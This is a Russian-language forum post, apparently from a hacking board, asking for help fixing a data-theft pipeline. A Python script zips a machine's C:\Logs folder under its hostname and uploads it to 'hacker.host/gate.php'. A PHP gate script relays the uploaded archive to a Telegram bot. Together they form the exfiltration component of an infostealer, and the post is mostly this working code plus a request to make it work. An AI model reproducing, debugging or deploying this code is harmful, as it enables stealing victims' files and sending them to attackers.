Доброй ночи всем, столкнулся я с проблемой такой котороя меня вымораживает накидал я скрипт
gate.php
И скрипт на py который отправляет на гейт для того чтобы тот переслал в бота телеги
Вообщем задача первого gate.php переслать высланный 2-ым скриптом(send.py) файл но проблема в том что он не отправляет ничего я попробывал разные методы но они тщетны, попрошу знатоков помочь мне с этой проблемой
gate.php
Код:
<?php
$botToken = 'token-here';
$chatId = 'chatid';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] === UPLOAD_ERR_OK) {
$zipFilePath = $_FILES['zip_file']['tmp_name'];
$curl = curl_init();
$telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendDocument";
$postData = array(
'chat_id' => $chatId,
'document' => new CURLFile($zipFilePath)
);
curl_setopt($curl, CURLOPT_URL, $telegramApiUrl);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
$response = curl_exec($curl);
curl_close($curl);
if ($response === false) {
echo "Ошибка при отправке файла в Telegram.";
} else {
echo "Файл успешно отправлен в Telegram.";
}
} else {
echo "Ошибка при загрузке файла.";
}
} else {
echo "Метод запроса не поддерживается.";
}
?>
И скрипт на py который отправляет на гейт для того чтобы тот переслал в бота телеги
Код:
import os
import requests
import shutil
def archive_send():
hostname = os.popen('hostname').read().strip()
source_folder = r'C:\Logs'
archive_name = f'{hostname}.zip'
shutil.make_archive(os.path.join(os.environ['TEMP'], hostname), 'zip', source_folder)
upload_url = 'http://hacker.host/gate.php'
session = requests.session()
files = {"document": open(os.path.join(os.environ['TEMP'], archive_name), 'rb')}
response = session.post(upload_url, files=files)
if response.status_code == 200:
print('Файл успешно отправлен на сервер.')
else:
print('Ошибка при отправке файла на сервер.')
Вообщем задача первого gate.php переслать высланный 2-ым скриптом(send.py) файл но проблема в том что он не отправляет ничего я попробывал разные методы но они тщетны, попрошу знатоков помочь мне с этой проблемой